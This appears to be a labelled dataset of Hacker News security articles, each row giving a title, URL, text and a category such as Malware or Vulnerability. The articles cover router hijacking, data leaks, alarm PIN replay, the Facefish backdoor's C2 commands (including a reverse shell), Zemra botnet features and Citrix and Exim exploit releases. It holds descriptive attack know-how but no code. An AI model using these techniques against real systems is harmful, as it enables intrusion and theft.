Thousands of MikroTik Routers Hacked to Eavesdrop On Network Traffic,https://thehackernews.com/2018/09/mikrotik-router-hacking.html,"Last month we reported about a widespread crypto-mining malware campaign that hijacked over 200,000 MikroTik routers using a previously disclosed vulnerability revealed in the CIA Vault 7 leaks.

Now Chinese security researchers at Qihoo 360 Netlab have discovered that out of 370,000 potentially vulnerable MikroTik routers, more than 7,500 devices have been compromised to enable Socks4 proxy maliciously, allowing attackers to actively eavesdrop on the targeted network traffic since mid-July.

The vulnerability in question is Winbox Any Directory File Read (CVE-2018-14847) in MikroTik routers that was found exploited by the CIA Vault 7 hacking tool called Chimay Red, along with another MikroTik's Webfig remote code execution vulnerability.

Both Winbox and Webfig are RouterOS management components with their corresponding communication ports as TCP/8291, TCP/80, and TCP/8080. Winbox is designed for Windows users to easily configure the routers that download some DLL files from the router and execute them on a system.

According to the researchers, more than 370,000 of 1.2 million MikroTik routers are still vulnerable to the CVE-2018-14847 exploit, even after the vendor has already rolled out security updates to patch the loophole.

Netlab researchers have identified malware exploiting the CVE-2018-14847 vulnerability to perform various malicious activities, including CoinHive mining code injection, silently enabling Socks4 proxy on routers, and spying on victims.

CoinHive Mining Code Injection — After enabling the Mikrotik RouterOS HTTP proxy, the attackers redirect all the HTTP proxy requests to a local HTTP 403 error page which injects a link for web mining code from Coinhive.
""By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users' devices,"" the researchers explain.
""What is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from coinhive.com necessary for web mining, are blocked by the proxy ACLs set by attackers themselves.""
Maliciously Enabling Sock4 Proxy — Silently enabling the Socks4 port or TCP/4153 on victims device allows an attacker to gain control of the device even after it has been rebooted (IP change) by periodically reporting its latest IP address to the attacker's URL.

According to the researchers, at present, a total of 239,000 IP addresses are confirmed to have Socks4 proxy enabled maliciously, eventually allowing attackers to continuously scan more MikroTik RouterOS devices using these compromised Socks4 proxy.

Eavesdropping on Victims — Since the MikroTik RouterOS devices allow users to capture packets on the router and forward them to the specified Stream server, attackers are forwarding the traffic from compromised routers to IP addresses controlled by them.
""At present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker, and their TZSP traffic is being forwarded to some collecting IP addresses,"" the researchers say.
""We also noticed the SNMP port 161 and 162 are also top on the list. This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users' network SNMP community strings?""
The victims are spread across various countries Russia, Iran, Brazil, India, Ukraine, Bangladesh, Indonesia, Ecuador, the United States, Argentina, Colombia, Poland, Kenya, Iraq, and some European and Asian countries, with Russia being the most affected.

Netlab did not share the IP addresses of the victims to the public for security reasons but said that relevant security entities in affected countries can contact the company for a full list of infected IP addresses.

The best way to protect yourself is to PATCH. MikroTik RouterOS users are highly recommended to update their devices and also check if the HTTP proxy, Socks4 proxy, and network traffic capture function are being maliciously exploited.
",Malware
"Hacker Leaks Info of 30,000 FBI and DHS Employees",https://thehackernews.com/2016/02/fbi-dhs-hacked.html,"An unknown hacker who promised to release the personal information on government employees has dump online a list of nearly 20,000 Federal Bureau of Investigation (FBI) agents and 9,000 Department of Homeland Security (DHS) officers.

Though the authenticity of the information has not been verified, at least, some of the leaked data appears to be legitimate.

Here's What the Hacker Leaked:

The hacker leaked first round of data belonging to roughly 9,000 DHS employees on Sunday, which was followed by the release of 20,000 FBI agents information on Monday.


The hacker, who goes on Twitter by the username of @DotGovs, published the supposed data on an encrypted text-sharing website, including:
Names
Job titles
Phone numbers
Email addresses

The Reason Behind the Hack

The message at the top of the data dump includes the hashtag ""#FreePalestine"" and reads ""Long Live Palestine, Long Live Gaza: This is for Palestine, Ramallah, West Bank, Gaza, This is for the child that is searching for an answer.""

The above message shows the support to Palestine, which could be the motivation behind the hack.

Although it's unclear how much of the hacked data may have been publicly available, the hacker told Motherboard that he had downloaded 200GB of data, out of 1TB total available to him.

If this comes true, the information that has been leaked so far would just be a small percentage of what the hacker has in its box.

How the Hacker did it?

The hacker claimed to have compromised US Department of Justice (DoJ) email account and gained access to the department's Intranet. Then he allegedly downloaded the information of over 20,000 FBI officers, roughly 9,000 DHS employees and an undisclosed number of DoJ staffers.

The hacker also claimed to have some military emails and credit card numbers belonging to federal employees but provided neither proof nor indication that he intended to release them too.

In October, a teenage hacker who goes by ""Cracka"" carried out a similar hack and targeted several high-profile government employees, including the CIA director John Brennan, the US spy chief James Clapper, the FBI Deputy Director Mark Giuliano, and others.

However, not all hacks are as vast and serious as that of the US Office of Personnel Management (OPM), in which over 21.5 Million government employees were exposed.

DoJ Downplayed the Impact of Hacking
""This unauthorized access is still under investigation; however, there is no indication at this time that there is any breach of sensitive personally identifiable information,"" a DOJ spokesman said in a statement to the Guardian.
The hacked data posted anonymously on an encrypted Cryptobin website was reviewed by the Guardian, which found that some of the data from the DHS list are outdated, and some listed individuals have not worked for DHS in years.

Others are criticizing the US government for its failure to protect its sensitive data, especially after the embarrassing and damaging OPM hack that exposed personal details on millions of government employees.

",Data_Breaches
Using SimpliSafe Home Security? — You're Screwed! It's Easy to Hack & Can't be Patched,https://thehackernews.com/2016/02/hack-home-security-alarm.html,"If you are using a SimpliSafe wireless home alarm system to improve your home security smartly, just throw it up and buy a new one. It is useless.

The so-called 'Smart' Technology, which is designed to make your Home Safer, is actually opening your house doors for hackers. The latest in this field is SimpliSafe Alarm.

SimpliSafe wireless home alarm systems – used by more than 300,000 customers in the United States – are Hell Easy to Hack, allowing an attacker to easily gain full access to the alarm and disable the security system, facilitating unauthorized intrusions and thefts.

…and the most interesting reality is: You Can Not Patch it!

As the Internet of Things (IoT) is growing at a great pace, it continues to widen the attack surface at the same time.

Just last month, a similar hack was discovered in Ring – a Smart doorbell that connects to the user's home WiFi network – that allowed researchers to hack WiFi password of the home user.

How to Hack SimpliSafe Alarms?

According to the senior security consultant at IOActive Andrew Zonenberg, who discovered this weakness, anyone with basic hardware and software, between $50 and $250, can harvest alarm's PIN and turn alarm OFF at a distance of up to 200 yards (30 meters) away.

Since SimpliSafe Alarm uses unencrypted communications over the air, thief loitering near a home with some radio equipment could sniff the unencrypted PIN messages transferred from a keypad to the alarm control box when the house owner deactivates the alarm.

The attacker then records the PIN code on the microcontroller board's memory (RAM) and later replay this PIN code to disable the compromised alarm and carry out burglaries when the owners are out of their homes.

Moreover, the attacker could also send spoofed sensor readings, like the back door closed, in an attempt to fool alarm into thinking no break-in is happening.

Video Demonstration of the Hack

You can watch the video demonstration that shows the hack in work:


""Unfortunately, there's no easy workaround for the issue since the keypad happily sends unencrypted PINs out to anyone listening,"" Zonenberg explains.

Here's Why Your Smart Alarms are Unpatchable

Besides using the unencrypted channel, SimpliSafe also installs a one-time programmable chip in its wireless home alarm, leaving no option for an over-the-air update.

""Normally, the vendor would fix the vulnerability in a new firmware version by adding cryptography to the protocol,"" Zonenberg adds. But, ""this isn't an option for the affected SimpliSafe products because the microcontrollers in currently shipped hardware are one-time programmable.""

This means there is no patch coming to your SimpliSafe Alarm, leaving you as well as over 300,000 homeowners without a solution other than to stop using SimpliSafe alarms and buy another wireless alarm systems.

Zonenberg said he has already contacted Boston-based smart alarm provider several times since September 2015, but the manufacturer has not yet responded to this issue. So, he finally reported the issue to US-CERT.

",Vulnerability
Six arrested for Million Pounds phishing scam,https://thehackernews.com/2011/12/six-arrested-for-million-pounds.html,"Six arrested for Million Pounds phishing scam
Six people from London and the North West were being questioned by police on Friday in connection with a £1 million phishing scam that drained the bank accounts of hundreds of UK students. That is a lot of beer and book money, and the police said that hundreds of students had been caught out by the scammers. Today the Metropolitan Police said its Police Central e-Crime Unit (PCeU) arrested the suspects yesterday after four months of investigation.

On Thursday, the police arrested a 38 year old man in Bolton; a 26 year old man and a 25 year old woman in Manchester; a 25 year old man in Deptford, London; and a 49 year old woman and a 31 year old man in Stratford, London. Police also seized computers and equipment from premises in London, Manchester and Bolton.

The police said that on average the scammers, four men and two women, took amounts of money ranging from £1,000 to £5,000 at a time. They have been arrested on suspicion of conspiracy to defraud and committing Computer Misuse Act and money laundering offences.

Traditional phishing attacks occur when online fraudsters try to access personal data such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an online exchange, while malware is malicious software installed on a computer, which enables cybercriminals to access and use that computer for criminal purposes.


",Malware
3 Critical Zero-Day Flaws Found in PHP 7 — One Remains Unpatched!,https://thehackernews.com/2016/12/php-7-update.html,"Three critical zero-day vulnerabilities have been discovered in PHP 7 that could allow an attacker to take complete control over 80 percent of websites which run on the latest version of the popular web programming language.

The critical vulnerabilities reside in the unserialized mechanism in PHP 7 – the same mechanism that was found to be vulnerable in PHP 5 as well, allowing hackers to compromise Drupal, Joomla, Magento, vBulletin and PornHub websites and other web servers in the past years by sending maliciously crafted data in client cookies.

Security researchers at Check Point's exploit research team spent several months examining the unserialized mechanism in PHP 7 and discovered ""three fresh and previously unknown vulnerabilities"" in the mechanism.

While researchers discovered flaws in the same mechanism, the vulnerabilities in PHP 7 are different from what was found in PHP 5.

Tracked as CVE-2016-7479, CVE-2016-7480, and CVE-2016-7478, the zero-day flaws can be exploited in a similar manner as a separate vulnerability (CVE-2015-6832) detailed in Check Point's August report.
CVE-2016-7479—Use-After-Free Code Execution
CVE-2016-7480—Use of Uninitialized Value Code Execution
CVE-2016-7478—Remote Denial of Service
The first two vulnerabilities, if exploited, would allow a hacker to take full control over the target server, enabling the attacker to do anything from spreading malware to steal customer data or to defacing it.

The third vulnerability could be exploited to generate a Denial of Service (DoS) attack, allowing a hacker to hang the website, exhaust its memory consumption and eventually shut down the target system, researchers explain in their report [PDF].

According to Yannay Livneh of Check Point's exploit research team, none of the above vulnerabilities were found exploited in the wild by hackers.

The check Point researchers reported all the three zero-day vulnerabilities to the PHP security team on September 15 and August 6.

Patches for two of the three flaws were issued by the PHP security team on 13th October and 1st December, but one of them remains unpatched.

Besides patches, Check Point also released IPS signatures for the three vulnerabilities on the 18th and 31st of October to protect users against any attack that exploits these vulnerabilities.

In order to ensure the webserver's security, users are strongly recommended to upgrade their servers to the latest version of PHP.

",Vulnerability
Tor Launches Bug Bounty Program — Get Paid for Hacking!,https://thehackernews.com/2017/07/tor-bug-bounty-program.html,"With the growing number of cyber attacks and breaches, a significant number of companies and organisations have started Bug Bounty programs for encouraging hackers, bug hunters and researchers to find and responsibly report bugs in their services and get rewarded.

Following major companies and organisations, the non-profit group behind Tor Project – the largest online anonymity network that allows people to hide their real identity online – has finally launched a ""Bug Bounty Program.""

The Tor Project announced on Thursday that it joined hands with HackerOne to start a public bug bounty program to encourage hackers and security researchers to find and privately report vulnerabilities that could compromise the anonymity network.

HackerOne is a bug bounty startup that operates bug bounty programs for companies including Yahoo, Twitter, Slack, Dropbox, Uber, General Motors – and even the United States Department of Defense for Hack the Pentagon initiative.

Bug bounty programs are cash rewards gave by companies or organisations to white hat hackers and researchers who hunt for serious security vulnerabilities in their website or products and then responsibly disclose them.

The Tor Project announced its intention to launch a public bug bounty program in late December 2015 during a talk by the Tor Project at Chaos Communication Congress (CCC) held in Hamburg, Germany. However, it launched the invite-only bounty program last year.

The highest payout for the flaws has been kept $4,000 — bug hunters can earn between $2,000 and $4,000 for High severity vulnerabilities, between $500 and $2,000 for Medium severity vulnerabilities, and a minimum of $100 for Low severity bugs.

Moreover, less severe issues will be rewarded with a t-shirt, stickers and a mention in Tor's hall of fame.
""Tor users around the globe, including human rights defenders, activists, lawyers, and researchers, rely on the safety and security of our software to be anonymous online,"" Tor browser developer Georg Koppen said in a blog post. ""Help us protect them and keep them safe from surveillance, tracking, and attacks.""
The Tor Project is a non-profit organisation behind the Tor anonymizing network that allows any online user to browse the Internet without the fear of being tracked.

The Project first announced its plan to launch the bug bounty program weeks after it accused the FBI of paying the researchers of Carnegie Mellon University (CMU) at least $1 Million to help them Unmask Tor users and reveal their IP addresses, though FBI denies the claims.

",Vulnerability
The 2020 State of Breach Protection Survey – Call for Participation,https://thehackernews.com/2019/12/breach-protection-survey.html,"2010-2019 decade will be remembered as the time in which cybersecurity became acknowledged as a critical concern for all organizations.

With rapidly growing security needs and respective budgets, it is now more essential than ever for security decision-makers to zoom out of the 'products' mindset and assess their security stack in light of the overall breach protection value that their investments return.

The 2020 State of Breach Protection Survey (click here to participate) attempts to map out for the first time how breach protection is practiced and maintained globally – what are the common products, services, concerns, and challenges that are most common amongst organizations.

Any security professional filling the anonymous salary survey questionnaire, organised by The Hacker News in partnership with Cynet, will get a free copy of the survey report once it is released in January 2020. You can complete the questionnaire here.

Why is that important? Because unlike 'endpoint protection,' or 'next-generation firewall,' breach protection is not a strictly defined category and most chances are that – again, unlike these previous two examples – there is no budget in your organization that's designated for 'breach protection,' even while this is the ultimate goal of all your cybersecurity investments.

Changing from security products to breach-protection oriented mindset is essential to break away from the comfort zone of the known and currently practiced security in an organization, pushing you to ask the really hard questions continuously.

The hard questions are not whether the SIEM operates adequately or whether the EPP was successfully deployed across all endpoints in your environment, but rather – is my environment truly secured despite the products, workforce, and service providers I engage? And if not, what can I do about it?

And the best place to start is to get firm and fact-based insights into what others are doing. We all face the same attacks and need to confront them within a pool of available resources. That makes crowd-sourcing this knowledge an extremely powerful tool.

Going straight to the point – what's in it for you by filling the survey? For the most part, you will be benchmarking your variation of breach protection with a comparison set which is far wider than your standard cycles. Let's assume that your interpretation of breach protection includes, for example, EDR on your endpoints, CASB for your SaaS apps with both streaming alerts to a cloud-based SIEM, and engaging a 3rd party MSSP for incident response and investigation.

Is that a common model? If not, what is and how might it impact your onward decision making? Gaining robust knowledge on how your role and industry peers handle challenges similar to yours can provide you with new perspectives.

From a different angle – what do you perceive as your greatest challenge? Is it recruiting a skilled security team? Or perhaps capturing the management mindset to approve the budgets for all the products and services your environment requires? The best supporting evidence to a budgetary claim is showing how the request is on par with the industry standards.

So it's a win-win. Complete the survey and do a valuable service, both to yourself and to the wider community of security decision-makers.

Participate in the 2020 State of Breach Protection Survey here.
",Cyber_Attack
"New ModPipe Point of Sale (POS) Malware Targeting Restaurants, Hotels",https://thehackernews.com/2020/11/new-modpipe-point-of-sale-pos-malware.html,"Cybersecurity researchers today disclosed a new kind of modular backdoor that targets point-of-sale (POS) restaurant management software from Oracle in an attempt to pilfer sensitive payment information stored in the devices.
The backdoor — dubbed ""ModPipe"" — impacts Oracle MICROS Restaurant Enterprise Series (RES) 3700 POS systems, a widely used software suite in restaurants and hospitality establishments to efficiently handle POS, inventory, and labor management. A majority of the identified targets are primarily located in the US.
""What makes the backdoor distinctive are its downloadable modules and their capabilities, as it contains a custom algorithm designed to gather RES 3700 POS database passwords by decrypting them from Windows registry values,"" ESET researchers said in an analysis.
""Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.""
It's worth noting that details such as credit card numbers and expiration dates are protected behind encryption barriers in RES 3700, thus limiting the amount of valuable information viable for further misuse, although the researchers posit that the actor behind the attacks could be in possession of a second downloadable module to decrypt the contents of the database.
The ModPipe infrastructure consists of an initial dropper that's used to install a persistent loader, which then unpacks and loads the next-stage payload — the main malware module that's used to establish communications with other ""downloadable"" modules and the command-and-control (C2) server via a standalone networking module.
Chief among the downloadable modules include ""GetMicInfo,"" a component that can intercept and decrypt database passwords using a special algorithm, which ESET researchers theorize could have been implemented either by reverse-engineering the cryptographic libraries or by making use of the encryption implementation specifics obtained in the aftermath of a data breach at Oracle's MICROS POS division in 2016.
A second module called ""ModScan 2.20"" is devoted to collecting additional information about the installed POS system (e.g., version, database server data), while another module by the name of ""Proclist"" gathers details about currently running processes.
""ModPipe's architecture, modules and their capabilities also indicate that its writers have extensive knowledge of the targeted RES 3700 POS software,"" the researchers said. ""The proficiency of the operators could stem from multiple scenarios, including stealing and reverse engineering the proprietary software product, misusing its leaked parts or buying code from an underground market.""
Businesses in the hospitality sector that are using the RES 3700 POS are advised to update to the latest version of the software as well as use devices that run updated versions of the underlying operating system.

",Cyber_Attack
New Android Malware Secretly Records Phone Calls and Steals Private Data,https://thehackernews.com/2018/04/android-spying-trojan.html,"Security researchers at Cisco Talos have uncovered variants of a new Android Trojan that are being distributed in the wild disguising as a fake anti-virus application, dubbed ""Naver Defender.""

Dubbed KevDroid, the malware is a remote administration tool (RAT) designed to steal sensitive information from compromised Android devices, as well as capable of recording phone calls.

Talos researchers published Monday technical details about two recent variants of KevDroid detected in the wild, following the initial discovery of the Trojan by South Korean cybersecurity firm ESTsecurity two weeks ago.

Though researchers haven't attributed the malware to any hacking or state-sponsored group, South Korean media have linked KevDroid with North Korea state-sponsored cyber espionage hacking group ""Group 123,"" primarily known for targeting South Korean targets.

The most recent variant of KevDroid malware, detected in March this year, has the following capabilities:
record phone calls & audio
steal web history and files
gain root access
steal call logs, SMS, emails
collect device' location at every 10 seconds
collect a list of installed applications
Malware uses an open source library, available on GitHub, to gain the ability to record incoming and outgoing calls from the compromised Android device.
Although both malware samples have the same capabilities of stealing information on the compromised device and recording the victim's phone calls, one of the variants even exploits a known Android flaw (CVE-2015-3636) to get root access on the compromised device.

All stolen data is then sent to an attacker-controlled command and control (C2) server, hosted on PubNub global Data Stream Network, using an HTTP POST request.
""If an adversary were successful in obtaining some of the information KevDroid is capable of collecting, it could result in a multitude of issues for the victim,"" resulting in ""the leakage of data, which could lead to a number of things, such as the kidnapping of a loved one, blackmail by using images or information deemed secret, credential harvesting, multi-factor token access (SMS MFA), banking/financial implications and access to privileged information, perhaps via emails/texts,"" Talos says.
""Many users access their corporate email via mobile devices. This could result in cyber espionage being a potential outcome for KevDroid.""
Researchers also discovered another RAT, designed to target Windows users, sharing the same C&C server and also uses PubNub API to send commands to the compromised devices.

How to Keep Your Smartphone Secure

Android users are advised to regularly cross-check apps installed on their devices to find and remove if any malicious/unknown/unnecessary app is there in the list without your knowledge or consent.

Such Android malware can be used to target your devices as well, so you if own an Android device, you are strongly recommended to follow these simple steps to help avoid this happening to you:
Never install applications from 3rd-party stores.
Ensure that you have already opted for Google Play Protect.
Enable 'verify apps' feature from settings.
Keep ""unknown sources"" disabled while not using it.
Install anti-virus and security software from a well-known cybersecurity vendor.
Regularly back up your phone.
Always use an encryption application for protecting any sensitive information on your phone.
Never open documents that you are not expecting, even if it looks like it's from someone you know.
Protect your devices with pin or password lock so that nobody can gain unauthorized access to your device when remains unattended.
Keep your device always up-to-date with the latest security patches.

",Cyber_Attack
Researchers Warn of Facefish Backdoor Spreading Linux Rootkits,https://thehackernews.com/2021/05/researchers-warn-of-facefish-backdoor.html,"Cybersecurity researchers have disclosed a new backdoor program capable of stealing user login credentials, device information and executing arbitrary commands on Linux systems.
The malware dropper has been dubbed ""Facefish"" by Qihoo 360 NETLAB team owing its capabilities to deliver different rootkits at different times and the use of Blowfish cipher to encrypt communications to the attacker-controlled server.
""Facefish consists of 2 parts, Dropper and Rootkit, and its main function is determined by the Rootkit module, which works at the Ring 3 layer and is loaded using the LD_PRELOAD feature to steal user login credentials by hooking ssh/sshd program related functions, and it also supports some backdoor functions,"" the researchers said.
The NETLAB research builds on a previous analysis published by Juniper Networks on April 26, which documented an attack chain targeting Control Web Panel (CWP, formerly CentOS Web Panel) to inject an SSH implant with data exfiltration capabilities.
Facefish goes through a multi-stage infection process, which commences with a command injection against CWP to retrieve a dropper (""sshins"") from a remote server, which then releases a rootkit that ultimately takes charge of collecting and transmitting sensitive information back to the server, in addition to awaiting further instructions issued by the command-and-control (C2) server.
While the exact vulnerability exploited by the attacker for initial compromise remains unclear, Juniper noted that CWP has been plagued by dozens of security issues, adding the ""intentional encryption and obfuscation"" of the source code has made it ""difficult to ascertain which versions of CWP are or remain vulnerable to this attack.""
For its part, the dropper comes with its own set of tasks, chief among being detecting the runtime environment, decrypting a configuration file to get C2 information, configuring the rootkit, and starting the rootkit by injecting it into the secure shell server process (sshd).
Rootkits are particularly dangerous as they allow attackers to gain elevated privileges in the system, allowing them to interfere with core operations conducted by the underlying operating system. This ability of rootkits to camouflage into the fabric of the operating system gives attackers a high level of stealth and evasion.
Facefish also employs a complex communication protocol and encryption algorithm, using instructions starting with 0x2XX to exchange public keys and BlowFish for encrypting communication data with the C2 server. Some of the C2 commands sent by the server are as follows -
0x300 - Report stolen credential information
0x301 - Collect details of ""uname"" command
0x302 - Run reverse shell
0x310 - Execute any system command
0x311 - Send the result of bash execution
0x312 - Report host information
NETLAB's findings come from an analysis of an ELF sample file it detected in February 2021. Other indicators of compromise associated with the malware can be accessed here.

",Malware
"Zemra Botnet Leaked, Cyber Criminals performing DDoS Attacks",https://thehackernews.com/2012/06/zemra-botnet-leaked-cyber-criminals.html,"Zemra Botnet Leaked, Cyber Criminals performing DDoS Attacks

The Zemra DDoS Bot is currently sold in various forums for about 100 € and detected by Symantec as Backdoor.Zemra. Zemra first appeared on underground forums in May 2012.

This crimeware pack is similar to other crime packs, such as Zeus and SpyEye, in that is has a command-and-control panel hosted on a remote server.

Zemra uses a simple panel with an overview of all statistics is needed.With the help of two graphs can be seen operating machinery and the region location.In addition, statistics on online and for more information. You have a chance to see everything online Socks5 and export them to the list.Traffic is encrypted and protected using the algorithm AES, each client communicates with a unique generated key.

Note : In ""Tools Yard"" we have Posted Zemra Source Code, Only for Educational Purpose.

A brief functional:
• Intuitive control panel
• DDos (HTTP / SYN Flood / UDP)
• Loader (Load and run).
• Cheat visits (visits to the page views).
• USB Spread (spread through flash drives)
• Socks5 (picks up socks proxy on the infected machine)
• Update (Updates the bot)
• [color = red] The process can not be completed because the He is critical.
• 256 Bit AES encryption of traffic from the bot to the server
• Anti-Debugger
• There is a choice of a particular country bots perform the job


After inspecting the source code, symantec identifies that two types of DDoS attacks that have been implemented into this bot: HTTP flood and SYN flood.

""To reduce the possibility of being infected by this Trojan, Symantec advises users to ensure that they are using the latest Symantec protection technologies with the latest antivirus definitions installed."" Symantec suggest in a blog post.

",Malware
Hackers Can Now Steal Data Even From Faraday Cage Air-Gapped Computers,https://thehackernews.com/2018/02/airgap-computer-hacking.html,"A team of security researchers—which majorly focuses on finding clever ways to get into air-gapped computers by exploiting little-noticed emissions of a computer's components like light, sound and heat—have published another research showcasing that they can steal data not only from an air gap computer but also from a computer inside a Faraday cage.

Air-gapped computers are those that are isolated from the Internet and local networks and so, are believed to be the most secure devices that are difficult to infiltrate.

Whereas, Faraday cages are metallic enclosures that even blocks all electromagnetic signals, such as Wi-Fi, Bluetooth, cellular and other wireless communications, making any device kept inside the cage, even more, isolate from outside networks.

However, Cybersecurity Research Center at Israel's Ben Gurion University, directed by 38-year-old Mordechai Guri, has developed two techniques that helped them exfiltrate data from computers placed inside a Faraday cage.

Dubbed MAGNETO [pdf] and ODINI [pdf], both the techniques make use of proof-of-concept (PoC) malware installed on an air-gapped computer inside the Faraday cage to control the ""magnetic fields emanating from the computer by regulating workloads on the CPU cores"" and use it to transmit data stealthily.
""Everyone was talking about breaking the air gap to get in, but no one was talking about getting the information out,"" Guri says. ""That opened the gate to all this research, to break the paradigm that there's a hermetic seal around air-gapped networks.""
According to the researcher, once a computer (no matter if it is air-gapped or inside a Faraday cage) has been infected, hackers can exfiltrate stolen data without needing to wait for another traditional connection to the infected machine.

How MAGNETO & ODINI Attacks Work:

Once a motivated attacker somehow succeeded in planting malware on an air-gapped computer, the malware then collects small pieces of information, like keylogging data, encryption keys, credential tokens, and passwords.

Also Read: CIA developed Malware for Hacking Air-Gapped Networks.

The PoC malware developed by the team then electrically generates a pattern of magnetic field frequencies by regulating CPU's workload, which can be achieved by overloading the CPU with calculations that increase power consumption and generate a stronger magnetic field.

These electromagnetic (acoustic, optical and thermal) emissions from the infected computer are powerful enough to carry a small stream of stolen data to a nearby device, a receiver planted by the hacker.

The process involves translating data first into binary, i.e. 0 and 1, and the transmitting it into morse-code-like patterns in accordance with electromagnetic emission.
""The transmitting program leaves only a small footprint in the memory, making its presence easier to hide from AVs. At the OS level, the transmitting program requires no special or elevated privileges (e.g., root or admin), and hence can be initiated from an ordinary userspace process,"" the paper reads.
""The transmitting code mainly consists of basic CPU operations such as busy loops, which do not expose malicious behaviors, making it highly evasive from automated analysis tools.""
Also Read: Stealing Data from Air-Gapped Computers Using CCTV Cameras

While both MAGNETO and ODINI attacks are designed to exfiltrate data from a secured computer using electromagnetic emissions, the only difference between the two is:

MAGNETO is a short-distance attack where an Android app installed on the attacker's smartphone can receive stolen data with the help of phone's magnetometer— a magnetic sensor that can transmit data even if the smartphone is placed inside a Faraday bag or is set to airplane mode.
ODINI attack enables attackers to capture electromagnetic signals from a slightly longer range using a dedicated magnetic sensor.

In case of MAGNETO, the team managed to achieve only up to 5 bits/sec over a distance of up to 12.5 cm (5 inches), while ODINI is quite more efficient with a maximum transfer rate of 40 bits/sec over a range of 100 to 150 cm (3-5 feet).
Both ODINI and MAGNETO also work if the targeted air-gapped device is inside a Faraday cage, which is designed to block electromagnetic fields, including Bluetooth, Wi-Fi, cellular, and other wireless communications.

Researchers suggest three different approaches that can be used to prevent attackers from establishing a covert magnetic channel, i.e., shielding, jamming, and zoning.

Video Demonstration of MAGNETO And ODINI Attacks

The team published proof-of-concept video demonstrations for both MAGNETO and ODINI attacks, which shows both the attacks in action.


It's not the first time Ben-Gurion researchers came up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap computers include:

aIR-Jumper attack that steals sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision.
USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors.
DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer;
BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys;
AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes;
Fansmitter technique that uses noise emitted by a computer fan to transmit data; and
GSMem attack that relies on cellular frequencies.

",Malware
Iranian Man-in-the-Middle Attack Against Google certificate,https://thehackernews.com/2011/08/iranian-man-in-middle-attack-against.html,"Iranian Man-in-the-Middle Attack Against Google certificate

Recently discovered attempts of an SSL man-in-the-middle attack against Google users - spotted by a number of Iranian Internet users - have revealed that Dutch Certificate Authority DigiNotar has issued an SSL certificate for all *.google.com domains.

What's worse than discovering that someone has launched a man-in-the-middle attack against Iranian Google users, silently intercepting everything from email to search results and possibly putting Iranian activists in danger? Discovering that this attack has been active for two months.
""This is a wildcard for any of the Google domains,"" said Roel Schouwenberg, senior malware researcher with Kaspersky Lab, in an email interview Monday.

""[Attackers] could poison DNS, present their site with the fake cert and bingo, they have the user's credentials,"" said Andrew Storms, director of security operations at nCircle Security.

As the problems with the certificate authority system become clear, lots of people are working on ways to detect and mitigate these attacks. Chrome's pinning feature is available not only to Google web sites but to any webmaster; if you run an HTTPS site, you can contact the Chrome developers and get your site's keys hard-coded. Other browser vendors may implement a similar feature soon. The same result could also be achieved by giving web sites themselves a way to tell browsers what certificates to anticipate—and efforts to do this are now underway, building on top of DNSSEC or HSTS. Then browsers could simply not believe conflicting information, or at least provide a meaningful way to report it or warn the user about the situation.

Mozilla has announced the release of new versions of their browser, mail client and Internet suite in which trust of DigiNotar's root certificate will be revoked.

",Vulnerability
PoC Exploits Released for Citrix ADC and Gateway RCE Vulnerability,https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html,"It's now or never to prevent your enterprise servers running vulnerable versions of Citrix application delivery, load balancing, and Gateway solutions from getting hacked by remote attackers.

Why the urgency? Earlier today, multiple groups publicly released weaponized proof-of-concept exploit code [1, 2] for a recently disclosed remote code execution vulnerability in Citrix's NetScaler ADC and Gateway products that could allow anyone to leverage them to take full control over potential enterprise targets.

Just before the last Christmas and year-end holidays, Citrix announced that its Citrix Application Delivery Controller (ADC) and Citrix Gateway are vulnerable to a critical path traversal flaw (CVE-2019-19781) that could allow an unauthenticated attacker to perform arbitrary code execution on vulnerable servers.

Citrix confirmed that the flaw affects all supported version of the software, including:

Citrix ADC and Citrix Gateway version 13.0 all supported builds
Citrix ADC and NetScaler Gateway version 12.1 all supported builds
Citrix ADC and NetScaler Gateway version 12.0 all supported builds
Citrix ADC and NetScaler Gateway version 11.1 all supported builds
Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

The company made the disclose without releasing any security patches for vulnerable software; instead, Citrix offered mitigation to help administrators guard their servers against potential remote attacks⁠—and even at the time of writing, there's no patch available almost 23 days after disclosure.


Through the cyberattacks against vulnerable servers were first seen in the wild last week when hackers developed private exploit after reverse engineering mitigation information, the public release of weaponized PoC would now make it easier for low-skilled script kiddies to launch cyberattacks against vulnerable organizations.

According to Shodan, at the time of writing, there are over 125,400 Citrix ADC or Gateway servers publicly accessible and can be exploited overnight if not taken offline or protected using available mitigation.

While discussing technical details of the flaw in a blog post published yesterday, MDSsec also released a video demonstration of the exploit they developed but chose not to release it at this moment.

Besides applying the recommended mitigation, Citrix ADC administrators are also advised to monitor their device logs for attacks.

",Cyber_Attack
Exim Internet Mailer Found Vulnerable to RCE And DoS Bugs; Patch Now,https://thehackernews.com/2017/11/exim-internet-mailer-flaws.html,"A security researcher has discovered and publicly disclosed two critical vulnerabilities in the popular Internet mail message transfer agent Exim, one of which could allow a remote attacker to execute malicious code on the targeted server.

Exim is an open source mail transfer agent (MTA) developed for Unix-like operating systems such as Linux, Mac OSX or Solaris, which is responsible for routing, delivering and receiving email messages.

The first vulnerability, identified as CVE-2017-16943, is a use-after-free bug which could be exploited to remotely execute arbitrary code in the SMTP server by crafting a sequence of BDAT commands.
""To trigger this bug, BDAT command is necessary to perform an allocation by raising an error,"" the researcher said. ""Through our research, we confirm that this vulnerability can be exploited to remote code execution if the binary is not compiled with PIE.""
The researcher (mehqq_) has also published a Proof-of-Concept (PoC) exploit code written in python that could allow anyone to gain code execution on vulnerable Exim servers.

The second vulnerability, identified as CVE-2017-16944, is a denial of service (DoS) flaw that could allow a remote attacker to hang Exim servers even the connection is closed by forcing it to run in an infinite loop without crashing.

